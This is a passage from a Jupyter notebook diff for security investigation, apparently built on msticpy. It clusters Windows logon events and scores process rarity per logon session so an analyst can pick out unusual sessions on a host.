time_column=\"TimeGenerated\",\n", - " cluster_columns=[\"AccountNum\", \"LogonType\", \"TargetUserNum\"],\n", - " max_cluster_distance=0.0001,\n", - ")\n", - "display(Markdown(f\"Number of input events: {len(host_logons)}\"))\n", - "display(Markdown(f\"Number of clustered events: {len(clus_logons)}\"))\n", - "\n", - "display(Markdown(\"### Relative frequencies by account pattern\"))\n", - "plt.rcParams[\"figure.figsize\"] = (12, 4)\n", - "clus_logons.sort_values(\"Account\").plot.barh(x=\"Account\", y=\"ClusterSize\");\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - " ## View distinct host logon patterns" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "import re\n", - "\n", - "# Build a list of distinct logon patterns from the clustered data\n", - "dist_logons = clus_logons.sort_values(\"TimeGenerated\")[\n", - " [\"TargetUserName\", \"TimeGenerated\", \"LastEventTime\", \"LogonType\", \"ClusterSize\"]\n", - "]\n", - "dist_logons = dist_logons.apply(\n", - " lambda x: (\n", - " f\"{x.TargetUserName}: \"\n", - " f\"(logontype {x.LogonType}) \"\n", - " f\"timerange: {x.TimeGenerated} - {x.LastEventTime} \"\n", - " f\"count: {x.ClusterSize}\"\n", - " ),\n", - " axis=1,\n", - ")\n", - "# Convert to dict, flipping keys/values\n", - "dist_logons = {v: k for k, v in dist_logons.to_dict().items()}\n", - "\n", - "\n", - "def get_selected_logon_cluster(selected_item):\n", - " acct = clus_logons.loc[selected_item][\"TargetUserName\"]\n", - " logon_type = clus_logons.loc[selected_item][\"LogonType\"]\n", - " return host_logons.query(\"TargetUserName == @acct and LogonType == @logon_type\")\n", - "\n", - "\n", - "def show_logon(idx):\n", - " return nbdisplay.format_logon(pd.DataFrame(clus_logons.loc[idx]).T)\n", - "\n", - "\n", - "logon_wgt = nbwidgets.SelectItem(\n", - " description=\"Select logon cluster to examine\",\n", - " item_dict=dist_logons,\n", - " action=show_logon,\n", - " height=\"200px\",\n", - " width=\"100%\",\n", - " auto_display=True,\n", - ")\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - " ## Analyze Processes Patterns for logon sessions\n", - " \n", - "In this section we look at the types of processes run in each logon session. For each process (and process characteristics such as command line structure) we measure its rarity compared to other processes on the same host. We then calculate the mean rarity of all processes in a logon session and display the results ordered by rarity. One is the highest possible score and would indicate all processes in the session have a unique execution pattern.\n", - " \n", - "Note: The next section retrieves processes for time period around the logons for the user ID selected in the previous session. If you want to view a broader time boundary please adjust the query time boundaries in below." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# set the origin time to start at the first logon in our set\n", - "# end end 2hrs after the last\n", - "start_time = host_logons[\"TimeGenerated\"].min()\n", - "end_time = host_logons[\"TimeGenerated\"].max()\n", - "time_diff = int((end_time - start_time).total_seconds() / (60 * 60) + 2)\n", - "proc_query_times = nbwidgets.QueryTime(\n", - " units=\"hours\",\n", - " origin_time=start_time,\n", - " before=1,\n", - " after=time_diff + 1,\n", - " max_before=20,\n", - " max_after=time_diff + 20,\n", - ")\n", - "proc_query_times.display()\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - " ### Compute the relative rarity of processes in each session\n", - " This should be a good guide to which sessions are the more interesting to look at.\n", - " \n", - " **Note** Clustering lots (1000s) of events will take a little time to compute." - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "from msticpy.sectools.eventcluster import dbcluster_events, add_process_features\n", - "from collections import Counter\n", - "\n", - "print(\"Getting process events...\", end=\"\")\n", - "processes_on_host = qry_prov.WindowsSecurity.list_host_processes(\n", - " proc_query_times, host_name=host_entity.HostName\n", - ")\n", - "print(f\"done. {len(processes_on_host)} events\")\n", - "print(\"Clustering. Please wait...\", end=\"\")\n", - "feature_procs = add_process_features(input_frame=processes_on_host, path_separator=\"\\\\\")\n", - "\n", - "feature_procs[\"accountNum\"] = feature_procs.apply(\n", - " lambda x: _string_score(x.Account), axis=1\n", - ")\n", - "# you might need to play around with the max_cluster_distance parameter.\n", - "# decreasing this gives more clusters.\n", - "(clus_events, dbcluster, x_data) = dbcluster_events(\n", - " data=feature_procs,\n", - " cluster_columns=[\n", - " \"commandlineTokensFull\",\n", - " \"pathScore\",\n", - " \"accountNum\",\n", - " \"isSystemSession\",\n", - " ],\n", - " max_cluster_distance=0.0001,\n", - ")\n", - "print(\"done\")\n", - "print(\"Number of input events:\", len(feature_procs))\n", - "print(\"Number of clustered events:\", len(clus_events))\n", - "\n", - "# Join the clustered results back to the original process frame\n", - "procs_with_cluster = feature_procs.merge(\n", - " clus_events[\n", - " [\n", - " \"commandlineTokensFull\",\n", - " \"accountNum\",\n", - " \"pathScore\",\n", - " \"isSystemSession\",\n", - " \"ClusterSize\",\n", - " ]\n", - " ],\n", - " on=[\"commandlineTokensFull\", \"accountNum\", \"pathScore\", \"isSystemSession\"],\n", - ")\n", - "# Rarity = inverse of cluster size\n", - "procs_with_cluster[\"Rarity\"] = 1 / procs_with_cluster[\"ClusterSize\"]\n", - "# count the number of processes for each logon ID\n", - "lgn_proc_count = (\n", - " pd.concat(\n", - " [\n", - " processes_on_host.groupby(\"TargetLogonId\")[\"TargetLogonId\"].count(),\n", - " processes_on_host.groupby(\"SubjectLogonId\")[\"SubjectLogonId\"].count(),\n", - " ]\n", - " ).sum(level=0)\n", - ").to_dict()\n", - "\n", - "# Display the results\n", - "md(\"Sessions ordered by process rarity\", 'bold')\n", - "md(\"Higher score indicates higher number of unusual processes\")\n", - "process_rarity = (procs_with_cluster.groupby([\"SubjectUserName\", \"SubjectLogonId\"])\n", - " .agg({\"Rarity\": \"mean\", \"TimeGenerated\": \"count\"})\n", - " .rename(columns={\"TimeGenerated\": \"ProcessCount\"})\n", - " .reset_index())\n", - "display(\n", - " process_rarity\n", - " .sort_values(\"Rarity\", ascending=False)\n", - " .style.bar(subset=[\"Rarity\"], color=\"#d65f5f\")\n", - ")\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### Overview of session timelines for sessions with higher rarity score" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "# Display process timeline for 75% percentile rarest scores\n", - "rare_sess = process_rarity[process_rarity[\"Rarity\"]\n", - " > process_rarity[\"Rarity\"].quantile(.25)]\n", - "rare_sessions = processes_on_host[(processes_on_host[\"SubjectLogonId\"]\n", - " .isin(rare_sess[\"SubjectLogonId\"]))\n", - " & (processes_on_host[\"SubjectUserName\"]\n", - " .isin(rare_sess[\"SubjectUserName\"]))]\n", - "\n", - "md(\"Timeline of sessions with higher process rarity\", \"large\")\n", - "md(\"Multiple sessions (y-axis) may be are shown for each account.\")\n", - "md(\"You will likely need to zoom in to see the individual session processes.\")\n", - "\n", - "nbdisplay.display_timeline(\n", - " data=rare_sessions,\n", - " group_by=\"SubjectLogonId\",\n", - " source_columns=[\"SubjectUserName\", \"SubjectLogonId\", \"NewProcessName\", \"CommandLine\"],\n", - " legend=\"right\",\n", - " yaxis=True\n", - ");" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "### View the processes for these Sessions" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "def view_logon_sess(logon_id=\"\"):\n", - " global selected_logon\n", - " selected_logon = host_logons[host_logons[\"TargetLogonId\"] == logon_id]\n", - "\n", - " if all_procs.value:\n", - " sess_procs = processes_on_host.query(\n", - " \"TargetLogonId == @logon_id | SubjectLogonId == @logon_id\"\n", - " )\n", - " else:\n", - " sess_procs = procs_with_cluster.query(\"SubjectLogonId == @logon_id\")[\n", - " [\"NewProcessName\", \"CommandLine\", \"SubjectLogonId\", \"ClusterSize\"]\n", - " ].drop_duplicates()\n", - " return sess_procs\n", - "\n", - "sessions = list(process_rarity\n", - " .sort_values(\"Rarity\", ascending=False)\n", - " .apply(lambda x: (f\"{x.SubjectLogonId} {x.SubjectUserName} Rarity={x.Rarity}\",\n", - " x.SubjectLogonId), \n", - " axis=1))\n", - "all_procs = widgets.Checkbox(\n", - " value=False,\n", - " description=\"View All Processes (Show clustered only if not checked)\",\n", - " **WIDGET_DEFAULTS,\n", - ")\n", - "display(all_procs)\n", - "logon_wgt = nbwidgets.SelectItem(\n", - " description=\"Select logon session to examine\",\n", - " item_dict={label: val for label, val in sessions},\n", - " height=\"300px\",\n", - " width=\"100%\",\n", - " auto_display=True,\n", - " action=view_logon_sess,\n", - ")\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - "## Browse All Sessions (Optional)\n", - "\n", - "**If the previous section did not reveal anything interesting you can opt to browse all logon sessions.**\n", - "\n", - "**Otherwise, skip to the [Check Commandline for IoCs section](#Check-for-IOCs-in-Commandline-for-selected-session)**\n", - "\n", - "To do this you need to first pick an account + logon type (in the following cell) then pick a particular session that you want to view in the subsequent cell. Use the rarity score from the previous graph to guide you.\n", - "\n", - " ### Step 1 - Select a logon ID and Type" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "logon_wgt2 = nbwidgets.SelectItem(\n", - " description=\"Select logon cluster to examine\",\n", - " item_dict=dist_logons,\n", - " height=\"200px\",\n", - " width=\"100%\",\n", - " auto_display=True,\n", - ")\n", - "all_procs = widgets.Checkbox(\n", - " value=False,\n", - " description=\"View All Processes (Clustered only if not checked)\",\n", - " **WIDGET_DEFAULTS,\n", - ")\n", - "display(all_procs)\n" - ] - }, - { - "cell_type": "markdown", - "metadata": {}, - "source": [ - " ### Step 2 - Pick a logon session to view its processes" - ] - }, - { - "cell_type": "code", - "execution_count": null, - "metadata": {}, - "outputs": [], - "source": [ - "selected_logon_cluster = get_selected_logon_cluster(logon_wgt2.value)\n", - "\n", - "selected_tgt_logon = selected_logon_cluster[\"TargetUserName\"].iat[0]\n", - "system_logon = selected_tgt_logon.lower() == \"system\" or selected_tgt_logon.endswith(\n", - " \"$\"\n", - ")\n", - "\n", - "if system_logon:\n", - " display(\n", - " Markdown(\n", - " '

Warning: the selected '\n", - " \"account name appears to be a system account.


\"\n", - " \"It is difficult to accurately associate processes \"\n", - " \"with the specific logon sessions.
\"\n", - " \"Showing clustered events for entire time selection.\"\n", - " )\n", - " )\n", - " display(\n", - " clus_events.sort_values(\"TimeGenerated\")[\n", - " [\n", - " \"TimeGenerated\",\n", - " \"LastEventTime\",\n", - " \"NewProcessName\",\n", - " \"CommandLine\",\n", - " \"ClusterSize\",\n", - " \"commandlineTokensFull\",\n", - " \"pathScore\",\n", - " \"isSystemSession\",\n", - " ]\n", - " ]\n", - " )\n", - "\n", - "# Display a pick list for logon instances\n", - "sel_1 = host_logons[\"TargetLogonId\"].isin(lgn_proc_count)\n", - "sel_2 = host_logons[\"TargetUserName\"] == selected_tgt_logon\n", - "items = (\n", - " host_logons[sel_1 & sel_2]\n", - " .sort_values(\"TimeGenerated\")\n", - " .apply(\n", - " lambda x: (\n", - " f\"{x.TargetUserName}: \"\n", - " f\"(logontype={x.LogonType}) \"\n", - " f\"(timestamp={x.TimeGenerated}) \"\n", - " f\"logonid={x.TargetLogonId}\"\n", - " ),\n", - " axis=1,\n", - " )\n", - " .values.tolist()\n", - ")\n", - "if not items:\n", - " items = [\"No processes for logon\"]\n", - "sess_w = widgets.Select(\n", - " options=items, description=\"Select logon instance to examine\", **WIDGET_DEFAULTS\n", - ")\n", - "\n", - "import re\n", - "\n", - "logon_list_regex = r\"\"\"\n", - "(?P[^:]+):\\s+\n", - "\\(logontype=(?P[^)]+)\\)\\s+\n", - "\\(timestamp=(?P